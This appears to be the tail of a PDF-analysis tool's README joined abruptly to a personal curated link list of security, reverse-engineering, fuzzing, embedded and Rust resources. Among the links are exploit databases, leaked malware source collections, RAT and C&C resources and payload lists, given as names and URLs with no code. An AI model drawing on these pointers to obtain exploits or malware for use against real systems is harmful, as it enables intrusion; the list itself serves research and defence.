| **`address`** | `reference_key` plus a hash key or numerical array index if that's how the reference works. e.g. if node A has a reference key `/Resources` pointing to a dict `{'/Font2': [IndirectObject(55), IndirectObject(2)]}` the address of `IndirectObject(55)` from node A would be `/Resources[/Font2][0]` |
| **`tree_address`** | Like the `address` but starting at the root of the tree. Describes the series of objects you would step through if you walked the tree from the root to this node. |
| **`relationship`** | Any link between nodes created by addresses/reference keys |
| **`non_tree_relationship`** | any link between nodes that is not considered a parent/child tree relationship |
| **`indeterminate_node`** | any node whose place in the tree cannot be decided until every node has been seen |
| **`link_node`** | nodes like `/Dest` that just contain a pointer to another node |
# TODO
* Highlight decodes with a lot of Javascript keywords
* https://github.com/mandiant/flare-floss (https://github.com/mandiant/flare-floss/releases/download/v2.1.0/floss-v2.1.0-linux.zip)
* https://github.com/1Project/Scanr/blob/master/emulator/emulator.py
[^1]: The official Adobe PDF specification calls this tree the PDF's "logical structure", which is a good example of nomenclature that does not help those who see it understand anything about what is being described. I can forgive them given that they named this thing back in the 80s, though it's a good example of why picking good names for things at the beginning is so important.
[^2]: An exception will be raised if there's any issue placing a node while parsing or if there are any nodes not reachable from the root of the tree at the end of parsing. If there are no exceptions then all internal PDF objects are guaranteed to exist in the tree except in these situations when warnings will be printed:
`/ObjStm` (object stream) is a collection of objects in a single stream that will be unrolled into its component objects.
`/XRef` Cross-reference stream objects which hold the same references as the `/Trailer` are hacked in as symlinks of the `/Trailer`
[^3]: Given the nature of the PDFs this tool is meant to be scan anything resembling "rendering" the document is pointedly NOT offered.
[^4]: `pipx` is a tool that basically runs `pip install` for a python package but in such a way that the installed package's requirements are isolated from your system's python packages. If you don't feel like installing `pipx` then `pip install` should work fine as long as there are no conflicts between The Pdfalyzer's required packages and those on your system already. (If you aren't using other python based command line tools then your odds of a conflict are basically 0%.)
[^5]: Technically they are `SymlinkNodes`, a really nice feature of [AnyTree](https://github.com/c0fec0de/anytree).
[^6]: At least they weren't catching it as of September 2022.
|
# My Awesome List
My personal awesome list of interesting repos, libraries and tools.
# In-Depth Topics
* [Blockchains and Smart Contracts](topics/web3.md)
* [OT/IoT Security](topics/ot_security.md)
* [Linux Kernel](topics/linux_kernel.md)
* [Red Teaming and Offensive Security](topics/red-team-adversary-emulation.md)
* [Wireless](topics/wireless.md)
# Content
* [Awesome Lists](#awesome-lists)
* [Blogs ad Tutorials](#blogs-and-tutorials)
* [Compilers and Toolchains](#compilers-and-toolchains)
* [Databases](#databases)
* [Debuggers](#debuggers)
* [eBPF](#ebpf)
* [Embedded and IoT](#embedded-and-iot)
* [Emulators And Dynamic Analysis](#emulators-and-dynamic-analysis)
* [Exploit Development](#exploit-development)
* [Fuzzing](#fuzzing)
* [Misc](#misc)
* [Networking](#networking)
* [Programming Languages](#programming-languages)
* [Reverse Engineering](#reverse-engineering)
* [RTOS](#rtos)
* [Sandboxing](#sandboxing)
* [Tools](#tools)
* [Tracing, Hooking and Instrumentation](#tracing-hooking-and-instrumentation)
* [Trusted Execution Environment](#trusted-execution-environment)
## Awesome Lists
* [Analysis Tools (dynamic)][372]: curated list of dynamic analysis tools for all
programming languages.
* [Analysis Tools (static)][371]: curated list of static analysis (SAST) tools.
* [Bash][491]: curated list of delightful Bash scripts and resources
* [Bash OneLiners][494]: collection of handy Bash One-Liners.
* [Bash Handbook][495]: for those who wanna learn Bash.
* [BSK][362]: the book of secret knowledge.
* [C][17]: A curated list of C good stuff.
* [ChatGPT prompts][480]: ChatGPT prompt curation to use ChatGPT better.
* [eBPF][25]: curated list of awesome projects related to eBPF.
* [Docker][30]: curated list of Docker resources and projects.
* [ELF][310]: awesome ELF resources by tmp.out.
* [Embedded][20]: curated list of awesome embedded programming.
* [Embedded and IoT][209]: curated list of awesome embedded and IoT security
resources.
* [Embedded fuzzing][448]: A list of resources (papers, books, talks,
frameworks, tools) for understanding fuzzing for IoT/embedded devices.
* [Embedded Rust][211]: list of resources for Embedded and Low-level development
in the Rust programming language.
* [Executable Packing][284]: curated list of awesome resources related to
executable packing.
* [Firmware Security][437]: curated list of platform firmware resources
* [FlipperZero][438]: awesome resources for the Flipper Zero device.
* [Fuzzing][388]: curated list of fuzzing resources.
* [Fuzzing paper collection][397]: papers related to fuzzing, binary analysis,
and exploit dev.
* [Hacking][361]: collection of awesome lists for hackers, pentesters & security
researchers.
* [ICS Security][374]: tools, tips, tricks, and more for exploring ICS Security.
* [IoT Security 101][273]: curated list of IoT Security Resources.
* [IoT][19]: list of great resources about IoT Framework, Library, OS, Platforms.
* [Golang][105]: curated list of awesome Go frameworks, libraries and software.
* [Malware Analysis][34]: malware analysis tools and resources.
* [Modern Unix][493]: collection of modern/faster/saner alternatives to common
unix commands.
* [NeoVim][497]: collections of awesome neovim plugins.
* [Network stuff][281]: resources about network security.
* [Prompt Engineering][481]: hand-curated resources for Prompt Engineering.
* [Prompt Engineering Guides][482]: guides, papers, lecture, notebooks and
resources for prompt engineering.
* [Pure Bash][492]: collection of pure bash alternatives to external processes.
* [Raspberry Pi][33]: Raspberry Pi tools, projects, images and resources.
* [RAT][162]: RAT And C&C Resources.
* [Reverse Engineering][35]: reversing resources.
* [Rust][18]: curated list of Rust code and resources.
* [rust security][376]: list of awesome projects and resources related to Rust
and computer security.
* [Search engines][339]: list of search engines useful during Penetration
testing, Vulnerability assessments, Red Team operations, Bug Bounty and more.
* [Secure a Linux server][365]: evolving how-to guide for securing a Linux server.
* [Shell][31]: command-line frameworks, toolkits, guides and gizmos.
* [System Design][400]: learn how to design systems at scale.
* [Tech Interview][401]: curated coding interview preparation materials.
* [The Art of Command Line][496]: Master the command line.
* [Tunneling][181]: ngrok alternatives and other ngrok-like tunneling software
and services.
* [Vim][32]: all things vim.
* [WAF][317]: everything about web-application firewalls (WAF).
## Blogs and Tutorials
* [0x00sec][236]: malware, Reverse Engineering, and Computer Science.
* [0x434b][235]: low level adventures.
* [a13xp0p0v][197]: exploit development and vulnerability research (mostly
Linux).
* [Alex Plaskett][288]: Random Security Research.
* [Andrey Konovalov][297]: uzzers, exploits, and mitigations for Linux and
Android kernels.
* [apps3c][435]: cybersecurity research focused on offensive security.
* [Arch Wiki][217]: official Arch wiki.
* [Connof McGarr][196]: exploit development and vulnerability research (mostly
Windows).
* [CS6038/CS5138 Malware Analysis][451]: Introduction to Malware Analysis and
Reverse Engineering.
* [CVE North Star][428]: CVEs as North Stars in vulnerability discovery and
comprehension.
* [Dmitry.gr]: reverse engineering, embedded and hardware.
* [epi052][439]: epi's personal blog.
* [Gentoo Wiki][216]: official Gentoo wiki.
* [GitHub Security Lab][137]: GitHub security research.
* [Google Security Blog][291]: latest news and insights from Google on security.
* [Google Security Research][295]: ecurity advisories and their accompanying
proof-of-concepts related to research conducted at Google.
* [grsecurity blog][296]: blog from GRSecurity.
* [Grapl Security Blog][289]: blog from Grapl security.
* [How to exploit a double free][272]: exploit a double free vulnerability in
2021.
* [ir0nstone][56]: binary exploitation notes.
* [Linux From Scratch][215]: with step-by-step instructions for building your
own custom Linux system.
* [malwareMustDie][116]: white-hat security research workgroup.
* [Malware traffic analysis][157]: source for packet capture (pcap) files and
malware samples.
* [n1ght-w0lf][456]: Malware Analysis & Reverse Engineering Adventures.
* [Nightmare][13]: intro to binary exploitation / reverse engineering course
based around ctf challenges.
* [Outflux][355]: @kees_cook's blog.
* [OWASP CSS][364]: OWASP Cheat Sheet Series Project.
* [Pawnyable][395]: middle to advance binary exploitation.
* [Phrack][75]: e-zine written by and for hackers.
* [Project Zero][198]: news and updates from the Project Zero team at Google.
* [Rust OSDev][68]: rhis Month in Rust OSDev.
* [Sam4k][298]: linux, security, games and other nerdery.
* [School of SRE][366]: school of Sire Reliability Engineers.
* [System Overlord][46]: security engineering, research, and general hacking.
* [ThePhd][423]: (c) programming.
* [tmp.out][76]: ELF research group.
* [Will's Root][290]: Pentesting, CTFs and Writeups.
* [xilokar][426]: embedded development.
* [Zero Day Initiative][220]: encourage the reporting of 0-day vulnerabilities
privately to the affected vendors.
## Compilers and Toolchains
* [clang][15]: C language family frontend for LLVM.
* [Cross-compilation toolchains (Bootlin)][16]: large number of ready-to-use
cross-compilation toolchains, targetting the Linux operating system on a large
number of architectures.
* [Dockcross][45]: cross compiling toolchains in Docker images.
* [gcc][14]: GNU Compiler Collection.
## Databases
* [0day.today][195]: exploits database.
* [CVE Details][185]: security vulnerability datasource.
* [ExploitAlert][194]: exploits found on the internet.
* [ExploitDB][112]: the exploit database.
* [iot-malware][117]: source code of samples leaked online.
* [MalwareBazaar][111]: sharing malware samples with the infosec community.
* [SeeBug][114]: exploit database.
* [Sploitus][113]: exploit database.
* [vx-underground][115]: malware collections.
## Debuggers
* [GDB][26]: GNU Project Debugger.
* [gdb-dashboard][229]: modular visual interface for GDB in Python.
* [gdbgui][230]: browser-based frontend to gdb.
* [GEF][27]: plugin with set of commands to assis exploit developers and
reverse-engineers.
* [rr][253]: Record and Replay Framework.
* [rd][307]: reimplementation in rust.
* [Scout][110]: instruction based research debugger.
## eBPF
* [BumbleBee][173]: simplifies building eBPF tools and allows you to package,
distribute, and run them anywhere.
* [Cilium ebpf][172]: Pure-Go library to read, modify and load eBPF programs.
* [epbf.io][66]: official website.
* [pulsar][360]: runtime security framework for the IoT, powered by eBPF.
* [tetragon][171]: eBPF-based Security Observability and Runtime Enforcement.
## Embedded and IoT
* [Binwalk][208]: firmware Analysis Tool.
* [Buildroot][213]: simple, efficient and easy-to-use tool to generate embedded
Linux systems through cross-compilation.
* [EMBA][224]: firmware security analyzer.
* [Embark][488]: firmware security scanning environment.
* [FACT][100]: Firmware Analysis and Comparison Tool.
* [Firmwalker][207]: Script for searching the extracted firmware file system for
goodies.
* [Firmware mod kit][225]: collection of scripts and utilities to extract and
rebuild linux based firmware images.
* [Flashrom][74]: utility for detecting, reading, writing, verifying and erasing
flash chips.
* [Frankenstein][192]: Broadcom and Cypress firmware emulation for fuzzing and
further full-stack debugging.
* [FuzzWare][394]: automated, self-configuring fuzzing of firmware images.
* [HardwareAllTheThings][436]: list of useful payloads and bypasses for Hardware
and IOT Security.
* [KataOS][440]: embedded OS written most enrtirely in rust.
* [InternalBlue][193]: bluetooth experimentation framework for Broadcom and
Cypress chips.
* [LLP University][202]: Low Level Programming University.
* [Low level][48]: misc documentation about low level development.
* [NexMon][49]: C-based Firmware Patching Framework for Broadcom/Cypress WiFi
Chips.
* [nvram-faker][415]: simple library to intercept calls to libnvram when running
embedded linux applications in emulated environments.
* [OFRAK][393]: unpack, modify, and repack binaries.
* [OpenOCD][212]: Open On-Chip Debugger.
* [OpenWRT][239]: Linux operating system targeting embedded devices.
* [OS Kernel Lab][203]: OS kernel labs based on Rust/C Lang & RISC-V 64/X86-32.
* [OWASP-FSTM][201]: OWASP Firmware Security Testing Methodology.
* [unblob][385]: curate, fast, and easy-to-use extraction suite.
## Emulators and Dynamic Analysis
* [Avatar2][62]: target orchestration framework with focus on dynamic analysis
of embedded devices' firmware!
* [EMUX][9]: Firmware Emulation Framework.
* [Firmadyne][63]: platform for emulation and dynamic analysis of Linux-based
firmware.
* [scraper][287]: firmwares scraper.
* [QEMU][28]: open source machine emulator and virtualizer.
* [Panda][64]: platform for Architecture-Neutral Dynamic Analysis.
* [Qiling][10]: Qiling Advanced Binary Emulation Framework.
* [Renode][138]: virtual development framework for complex embedded systems.
* [Triton][65]: dynamic binary analysis library.
* [Unicorn][187]: CPU emulator framework.
## Exploit Development
* [CodeQL][293]: semantic code analysis engine.
* [Use case example][294]: One day short of a full chain.
* [cwe_ckecker][101]: finds vulnerable patterns in binary executables.
* [Exploit mitigations][292]: knowledge base of exploit mitigations available
across numerous operating systems.
* [how2heap][47]: repository for learning various heap exploitation techniques.
* [kernel-exploit-factory][459]: Linux kernel CVE exploit analysis report and
relative debug environment.
* [libc-database][69]: database of libc offsets to simplify exploitation.
* [Linux Kernel Exploit][199]: links related to Linux kernel exploitation.
* [Linux Kernel Exploitation][21]: collection of links related to Linux kernel
security and exploitation.
* [one_gadget][70]: tool for finding one gadget RCE in libc.so.6.
* [pwndocker][458]: docker environment for pwn in ctf.
* [pwninit][457]: automate starting binary exploit challenges.
* [pwntools][71]: framework and exploit development library.
* [ROPGadget][159]: search your gadgets on your binaries to facilitate your ROP
exploitation.
* [ropr][247]: fast multithreaded ROP Gadget finder.
* [Ropper][160]: find gadgets to build rop chains for different architectures.
* [weggli][270]: fast and robust semantic search tool for C and C++ codebases.
* [ZDI PoCs][404]: the Zero Day Initiative Proofs-of-concept.
## Fuzzing
* [AFLplusplus][38]: improved version of AFL.
* [Grammar-mutator][519]: A grammar-based custom mutator for AFL++.
* [afl-training][508]: Exercises to learn how to fuzz with American Fuzzy Lop.
* [Arbitrary][524]: Generating structured data from arbitrary, unstructured input.
* [boofuzz][89]: fork and successor of the Sulley Fuzzing Framework.
* [cargo-fuzz][507]: Command line helpers for fuzzing.
* [difuze][90]: fuzzer for Linux Kernel Drivers.
* [ferofuzz][424]: structure-aware HTTP fuzzing library.
* [fuzz-introspector][523]: introspect, extend and optimise fuzzers.
* [fuzzable][518]: Framework for Automating Fuzzable Target Discovery with
Static Analysis.
* [fuzzing][513]: Tutorials, examples, discussions, research proposals, and
other resources related to fuzzing.
* [fuzzTest][502]: testing framework for writing and executing fuzz tests
(replaces libfuzzer).
* [fuzzing101][510]: step by step fuzzing tutorial.
* [Fuzzing Book][390]: tools and techniques for generating software tests.
* [FuzzingPaper][506]: Recent Fuzzing Papers
* [halfempty][91]: fast, parallel test case minimization tool.
* [Healer][190]: kernel fuzzer inspired by Syzkaller.
* [Honggfuzz][39]: evolutionary, feedback-driven fuzzing based on code coverage.
* [iCicle][515]: grey-box firmware fuzzing
* [krf][92]: kernelspace syscall interceptor and randomized faulter.
* [lain][381]: fuzzer framework built in Rust.
* [LibAFL][95]: fuzzing library.
* [libfuzzer][511]: in-process, coverage-guided, evolutionary fuzzing engine
* [Tutorial][512]: learn how to use libFuzzer.
* [libfuzzer (rust)][514]: Rust bindings and utilities for LLVM’s libFuzzer.
* [Nautilus][520]: A grammar based feedback Fuzzer.
* [netzob][391]: Protocol Reverse Engineering, Modeling and Fuzzing.
* [MATE][420]: suite of tools for interactive program analysis with a focus on
hunting for bugs in C and C++.
* [onefuzz][382]: self-hosted Fuzzing-As-A-Service platform.
* [oss-fuzz][521]: continuous fuzzing for open source software.
* [Documentation][522]
* [papers collection][509]: Academic papers related to fuzzing.
* [propfuzz][387]: Rust toolkit to combine property-based testing and fuzzing.
* [Radamsa][386]: general purpose fuzzer.
* [Rusty-Radamsa][504]: Radamsa fuzzer ported to rust lang.
* [Safirefuzz][516]: same-Architecture Firmware Rehosting and Fuzzing.
* [SemGrep][343]: lightweight static analysis for many languages.
* [Rules][344]: Semgrep rules to facilitate vulnerability research.
* [silifuzz][422]: finds CPU defects by fuzzing software proxies.
* [Syzkaller][37]: unsupervised coverage-guided kernel fuzzer.
* [Syzbot][94]: continuously fuzzes main Linux kernel branches and
automatically reports found bugs
* [SyzScope][413]: automatically uncover high-risk impacts given a bug with
only low-risk impacts.
## Misc
* [Arti][427]: implementation of Tor, in Rust.
* [Caddy][363]: fast, multi-platform web server with automatic HTTPS.
* [CoreUtils][214]: Cross-platform Rust rewrite of the GNU coreutils.
* [difftastic][440]: structural diff that understands syntax.
* [esphome.io][449]: control your ESP8266/ESP32.
* [f4pga][450]: fully open source toolchain for the development of FPGAs of
multiple vendors.
* [fccid][433]: information resource for all wireless device applications filed
with the FCC.
* [FlipperZero][402]: portable multi-tool for pentesters and geeks in a toy-like
body.
* [Googl Home][452]: smart home ecosystem.
* [klgrth][245]: pastebin alternative.
* [jless][434]: command-line JSON viewer designed for reading, exploring, and
searching through JSON data.
* [makefiletutorial][487]: makefile tutorial
* [OpenSK][67]: open-source implementation for security keys written in Rust.
* [Pastebin][242]: store any text online for easy sharing.
* [patents][434]: patents db from Google.
* [Polypyus][191]: locate functions in raw binaries by extracting known functions
from similar binaries.
* [pspy][264]: monitor linux processes without root permissions.
* [sniffglue][455]: Secure multithreaded packet sniffer (in rust).
* [sniffle][444]: sniffer for Bluetooth 5 and 4.x LE.
* [temp.sh][246]: alternative to transfer.sh.
* [transfer.sh][243]: easy file sharing from the command line.
* [uhr][237]: Universal Radio Hacker.
* [wabt][255]: WebAssembly Binary Toolkit.
* [ZeroBin][244]: open source online pastebin where the server has zero
knowledge of pasted data.
## Networking
* Illustrated Connections:
* [DTLS][484]
* [QUIC][483]
* [TLS 1.2][486]
* [TLS 1.3][485]
* Misc:
* [innernet][421]: private network system that uses WireGuard under the hood.
* [nebula][122]: scalable overlay networking tool.
* [netbird][331]: connect your devices into a single secure private
WireGuard®-based mesh network.
* [netmaker][369]: makes networks with WireGuard.
* [tailscale][357]: zero config VPN.
* [tailscale github][358]: the easiest, most secure way to use WireGuard and
2FA.
* [zeek][368]: network analysis framework.
* [zerotier][356]: secure networks between devices.
* [ZeroTierOne][357]: smart ethernet switch for earth.
* Network Scanners:
* [masscan][8]: TCP port scanner, spews SYN packets asynchronously.
* [nmap][4]: utility for network scanning and discovery and security auditing
* [RustScan][5]: quick port scanner implemented in rust.
* [skanuvaty][7]: fast DNS/network/port scanner.
* [ZGrab2][266]: fast, modular application-layer network scanner.
* [ZMap][6]: fast single packet network scanner.
## Programming Languages
* Assembly:
* ARM:
* [Docs][124]: official documentation.
* [Instructions Reference][125]: official instruction reference.
* MIPS:
* [Manuals][128]: official manuals.
* RISC-V:
* [Book assembly][312]: introduction to Assembly Programming with RISC-V.
* [Manuals][129]: official specifications.
* [RISC-V card][285]: unofficial assembly reference for RISC-V.
* x86:
* [felixcloutier.com][126]: instructions reference.
* [Software Developer Manuals][127]: official manuals.
* [C][57]: C reference
* libc implementations:
* [glibc][58]: GNU C library.
* [musl][59]: C standard library.
* [uclibc][60]: C library for developing embedded Linux systems.
* [uclibc-ng][61]: small C library for developing embedded Linux systems.
* Libraries:
* [libaco][104]: blazing fast and lightweight C asymmetric coroutine
library.
* [libdill][269]: structured concurrency in C.
* [linux-syscall-support][431]: low level C API for making direct Linux syscalls.
* [sc][271]: common libraries and data structures for C.
* [Go][106]: open source programming language supported by Google.
* [Docs][107]: official documentation.
* [pkg.go.dev][108]: packages documentation.
* [Rust][41]: secure system programming language.
* [aquascope][466]: Interactive visualizations of Rust at compile-time and run-time
* [API guidelines][319]: set of recommendations on how to design and present
APIs for the Rust programming.
* [AreWeRustYet][465]: Awesome list of "Are We *thing* Yet" for Rust
* [Black Hat Rust][380]: applied offensive security with Rust.
* [Book][42]: introductory book about Rust.
* [Book (Brown univ)][505]: Rust book experiment.
* [Cargo Book][129]: official cargo book.
* [Cheats][398]: Rust language cheat sheet.
* [Clippy][218]: lints to catch common mistakes and improve your Rust code.
* [crates.io][44]: rust community's crate registry.
* [cryptography.rs][464]: list of actively maintained, high-quality
cryptography libraries.
* [Design patterns][321]: catalogue of Rust design patterns, anti-patterns and
idioms.
* [Easy Rust][311]: rust explained using easy English.
* [Editions][309]: editions guide.
* [Embedded Rust Book][153]: introductory book about using the Rust
Programming Language on "Bare Metal" embedded systems.
* [esp-rs][454]: Rust on ESP.
* [How to learn modern Rust][498]: guide to rust adventurer.
* [Macros][308]: the little book of rust macros.
* [min-sized-rust][373]: how to minimize Rust binary size.
* [Offensive Rust][379]: Rust Weaponization for Red Team Engagements.
* [Official Repository][286]: official Rust repository.
* [Performance][322]: Rust Performance Book.
* [Practice][375]: easily diving into and get skilled with Rust.
* [Raspberrypi OS Tutorials][186]: learn to write an embedded OS in Rust.
* [Redox OS][318]: Unix-like Operating System written in Rust.
* [RFCs][320]: RFCs for changes to Rust.
* [Rust by Example][503]: collection of runnable examples.
* [Rust to Assembly][501]: Understanding the Inner Workings of Rust.
* [Rustonomicon][150]: awful details that you need to understand when writing
Unsafe Rust programs.
* [Rust Reference][151]: primary reference for the Rust programming language.
* [rustup][152]: installer for the systems programming language Rust.
* [std][43]: standard library documentation.
* [Windows RS][383]: Rust for Windows.
* [This Week In Rust][148]: handpicked Rust updates, delivered to your inbox.
* Libraries:
* Async Runtimes:
* [async-std][325]: async version of the Rust standard library.
* [smol][326]: small and fast async runtime for Rust.
* [Tokio][323]: runtime for writing reliable asynchronous applications
with Rust.
* [Tutorial][324]: official Tokio tutorial.
* [avml][384]: Acquire Volatile Memory for Linux.
* [Aya][222]: eBPF library for the Rust programming language.
* [cbindgen][499]: project for generating C bindings from Rust code.
* [embassy][399]: framework for embedded applications.
* [Goblin][99]: cross-platform binary parsing crate, written in Rust.
* [libp2p][241]: Rust Implementation of the libp2p networking stack.
* [nix][304]: rust friendly bindings to \*nix APIs.
* [redbpf][119]: Rust library for building and running BPF/eBPF modules.
* [redhook][96]: dynamic function call interposition / hooking (LD_PRELOAD)
for Rust.
* [Rustix][303]: Safe Rust bindings to POSIX/Unix/Linux/Winsock2 syscalls.
* [rust-bindgen][500]: Automatically generates Rust FFI bindings to C (and
some C++) libraries.
* [teloxide][490]: Telegram bots framework for Rust.
* [tui][489]: terminal user interfaces and dashboards using Rust.
## Reverse Engineering
* [Angr][109]: user-friendly binary analysis platform.
* [BAP][282]: binary analysis platform.
* [BinDiff][204]: compare executables by identifying identical and similar
functions.
* [BinExport][205]: export disassemblies into Protocol Buffers.
* [CAPA][73]: tool to identify capabilities in executable files.
* [lancelot-flirt][103]: library for parsing, compiling, and matching Fast
Library Identification and Recognition Technology (FLIRT) signatures.
* [Capstone Engine][223]: disassembly/disassembler framework.
* [cpu_rec][301]: recognize cpu instructions in an arbitrary binary file.
* [CyberChef][155]: web app for encryption, encoding, compression and data
analysis.
* [decomp2dbg][442]: plugin to introduce interactive symbols into your debugger
from your decompiler.
* [Diffware][52]: configurable tool providing a summary of the changes between
two files or directories
* [Diffoscope][53]: directory differ.
* [DogBolt][342]: decompiler explorer.
* [ELFKickers][156]: collection of programs that access and manipulate ELF
files.
* [flare-emu][226]: easy to use and flexible interface for scripting emulation
tasks.
* [FLOSS][102]: FLARE Obfuscated String Solver.
* [fq][227]: jq for binary formats.
* [Ghidra][206]: software reverse engineering (SRE) framework.
* [Sekiryu][517]: comprehensive toolkit for Ghidra headless.
* [Kaitai Struct][231]: declarative language to generate binary data parsers.
* [Keystone Engine][232]: assembler framework.
* [Linux syscalls][462]: Linux kernel syscall tables
* [McSema][249]: Framework for lifting program binaries to LLVM bitcode.
* [Metasm][250]: a free assembler / disassembler / compiler.
* [Miasm][251]: reverse engineering framework in Python.
* [Radare2][1]: UNIX-like reverse engineering framework and command-line
toolset.
* [Book][98]: radare2 official book.
* [Cutter][3]: GUI based on [Rizin][2].
* [pwntools-r2][327]: launch radare2 like a boss from pwntools in tmux.
* [Rizin][2]: radare2 fork.
* [REMnux][257]: Linux toolkit for reverse-engineering.
* [RetDec][252]: retargetable machine-code decompiler based on LLVM.
* [Yara][72]: pattern matching swiss knife for malware researchers.
## RTOS
* [FreeRTOS][140]: open source, real-time operating system for microcontrollers.
* [MangooseOS][139]: IoT operating system and networking library.
* [ThreadX][302]: advanced real-time operating system (RTOS) designed
specifically for deeply embedded applications.
* [Tock][210]: secure embedded operating system for microcontrollers.
* [Zephyr][50]: mall, scalable, real-time operating system (RTOS).
* [Docs][51]: zephyt project documentation.
## Sandboxing
* [Code Sandboxing][333]: code execution isolation and containment with sandbox
solutions.
* [gvisor][174]: application Kernel for Containers.
* [Firecracker][175]: secure and fast microVMs for serverless computing.
* [KAta containers][306]: standard implementation of lightweight Virtual
Machines (VMs) that feel and perform like containers, but provide the workload
isolation and security advantages of VMs.
* [nano][176]: kernel designed to run one and only one application in a
virtualized environment.
* [ops][178]: build and run nanos unikernels.
* [RustyHermit][189]: rust-based, lightweight unikernel.
* [sandboxed-api][177]: generates sandboxes for C/C++ libraries automatically.
* [Unikraft][268]: automated system for building specialized OSes known as
unikernels.
## Tools
* [curl][403]: command line tool and library for transferring data with URL
syntax.
* [patchelf][414]: small utility to modify the dynamic linker and RPATH of ELF
executables.
* [tcpdump][416]: command-line packet analyzer.
* [wireshark][417]: network protocol analyzer.
* [tshark][418]: CLI tool for analyzing network traffic.
* [tshark.dev][419]: guide to working with packet captures on the
command-line.
## Tracing, Hooking and Instrumentation
* [bcc][118]: rools for BPF-based Linux IO analysis, networking, monitoring, and
more.
* [bpftrace][120]: high-level tracing language for Linux eBPF.
* [cannoli][248]: high-performance QEMU memory and instruction tracing.
* [DynamoRIO][23]: runtime code manipulation system.
* [Falco][367]: cloud native runtime security tool.
* [Frida][36]: instrumentation toolkit for developers, reverse-engineers, and
security researchers.
* [LIEF][158]: library to Instrument Executable Formats.
* [ltrace][233]: intercepts and records both the dynamic library calls and
signals.
* [QDBI][88]: a Dynamic Binary Instrumentation framework based on LLVM.
* [Reverie][453]: ergonomic and safe syscall interception framework for Linux
(Rust).
* [S2E][300]: platform for multi-path program analysis with selective symbolic
execution.
* [strace][254]: diagnostic, debugging and instructional userspace utility for
Linux.
* [Tracee][24]: Linux Runtime Security and Forensics using eBPF.
## Trusted Execution Environment
* [OP-TEE][54]: Open Portable Trusted Execution Environment.
* [TrustedFirmware][188]: reference implementation of secure software for
Armv8-A, Armv9-A and Armv8-M.
* [Docs][55]: official OP-TEE documentation.
* [TEE-reversing][447]: A curated list of public TEE resources for learning how
to reverse-engineer and achieve trusted code execution on ARM devices.
[1]: https://github.com/radareorg/radare2
[2]: https://github.com/rizinorg/rizin
[3]: https://cutter.re/
[4]: https://nmap.org/
[5]: https://github.com/RustScan/RustScan
[6]: https://github.com/zmap/zmap
[7]: https://github.com/Esc4iCEscEsc/skanuvaty
[8]: https://github.com/robertdavidgraham/masscan
[9]: https://github.com/therealsaumil/emux
[10]: https://github.com/qilingframework/qiling
[13]: https://guyinatuxedo.github.io/index.html
[14]: https://gcc.gnu.org/
[15]: https://clang.llvm.org/
[16]: https://toolchains.bootlin.com/
[17]: https://github.com/oz123/awesome-c
[18]: https://github.com/rust-unofficial/awesome-rust
[19]: https://github.com/phodal/awesome-iot
[20]: https://github.com/nhivp/Awesome-Embedded
[21]: https://github.com/xairy/linux-kernel-exploitation
[23]: https://github.com/DynamoRIO/dynamorio
[24]: https://github.com/aquasecurity/tracee
[25]: https://github.com/zoidbergwill/awesome-ebpf
[26]: https://www.sourceware.org/gdb/
[27]: https://github.com/hugsy/gef
[28]: https://www.qemu.org/
[30]: https://github.com/veggiemonk/awesome-docker
[31]: https://github.com/alebcay/awesome-shell
[32]: https://github.com/mhinz/vim-galore
[33]: https://github.com/thibmaek/awesome-raspberry-pi
[34]: https://github.com/rshipp/awesome-malware-analysis
[35]: https://github.com/tylerha97/awesome-reversing
[36]: https://github.com/frida/frida
[37]: https://github.com/google/syzkaller
[38]: https://github.com/AFLplusplus/AFLplusplus
[39]: https://github.com/google/honggfuzz
[41]: https://www.rust-lang.org/
[42]: https://doc.rust-lang.org/book/
[43]: https://doc.rust-lang.org/std/
[44]: https://crates.io/
[45]: https://github.com/dockcross/dockcross
[46]: https://systemoverlord.com/
[47]: https://github.com/shellphish/how2heap
[48]: https://low-level.readthedocs.io/en/latest/
[49]: https://github.com/seemoo-lab/nexmon
[50]: https://www.zephyrproject.org/
[51]: https://docs.zephyrproject.org/latest/
[52]: https://github.com/airbus-seclab/diffware
[53]: https://salsa.debian.org/reproducible-builds/diffoscope
[54]: https://github.com/OP-TEE/optee_os
[55]: https://optee.readthedocs.io/en/latest/index.html
[56]: https://ir0nstone.gitbook.io/notes/
[57]: https://en.cppreference.com/w/c
[58]: https://sourceware.org/git/?p=glibc.git
[59]: https://git.musl-libc.org/cgit/musl
[60]: https://www.uclibc.org/
[61]: https://cgit.uclibc-ng.org/cgi/cgit/uclibc-ng.git/
[62]: https://github.com/avatartwo/avatar2
[63]: https://github.com/firmadyne/firmadyne
[64]: https://github.com/panda-re/panda
[65]: https://github.com/JonathanSalwan/Triton
[66]: https://ebpf.io/
[67]: https://github.com/google/OpenSK
[68]: https://rust-osdev.com/
[69]: https://github.com/niklasb/libc-database
[70]: https://github.com/david942j/one_gadget
[71]: https://github.com/Gallopsled/pwntools
[72]: https://virustotal.github.io/yara/
[73]: https://github.com/mandiant/capa
[74]: https://github.com/flashrom/flashrom
[75]: http://www.phrack.org/
[76]: https://tmpout.sh/#
[88]: https://github.com/QBDI/QBDI
[89]: https://github.com/jtpereyda/boofuzz
[90]: https://github.com/ucsb-seclab/difuze
[91]: https://github.com/googleprojectzero/halfempty
[92]: https://github.com/trailofbits/krf
[94]: https://syzkaller.appspot.com/upstream
[95]: https://github.com/AFLplusplus/LibAFL
[96]: https://github.com/geofft/redhook
[98]: https://book.rada.re/
[99]: https://github.com/m4b/goblin
[100]: https://github.com/fkie-cad/FACT_core
[101]: https://github.com/fkie-cad/cwe_checker
[102]: https://github.com/mandiant/flare-floss/
[103]: https://crates.io/crates/lancelot-flirt
[104]: https://github.com/hnes/libaco
[105]: https://github.com/avelino/awesome-go
[106]: https://go.dev/
[107]: https://go.dev/doc/
[108]: https://pkg.go.dev/
[109]: https://github.com/angr/angr
[110]: https://github.com/CheckPointSW/Scout
[111]: https://bazaar.abuse.ch/
[112]: https://www.exploit-db.com/
[113]: https://sploitus.com/
[114]: https://www.seebug.org/
[115]: https://www.vx-underground.org/
[116]: https://www.malwaremustdie.org/
[117]: https://github.com/ifding/iot-malware
[118]: https://github.com/iovisor/bcc
[119]: https://github.com/foniod/redbpf
[120]: https://github.com/iovisor/bpftrace
[122]: https://github.com/slackhq/nebula
[124]: https://developer.arm.com/documentation/
[125]: https://developer.arm.com/documentation/dui0068/b/ARM-Instruction-Reference
[126]: https://www.felixcloutier.com/x86/
[127]: https://www.intel.com/content/www/us/en/developer/articles/technical/intel-sdm.html
[128]: https://www.mips.com/downloads/
[129]: https://github.com/riscv
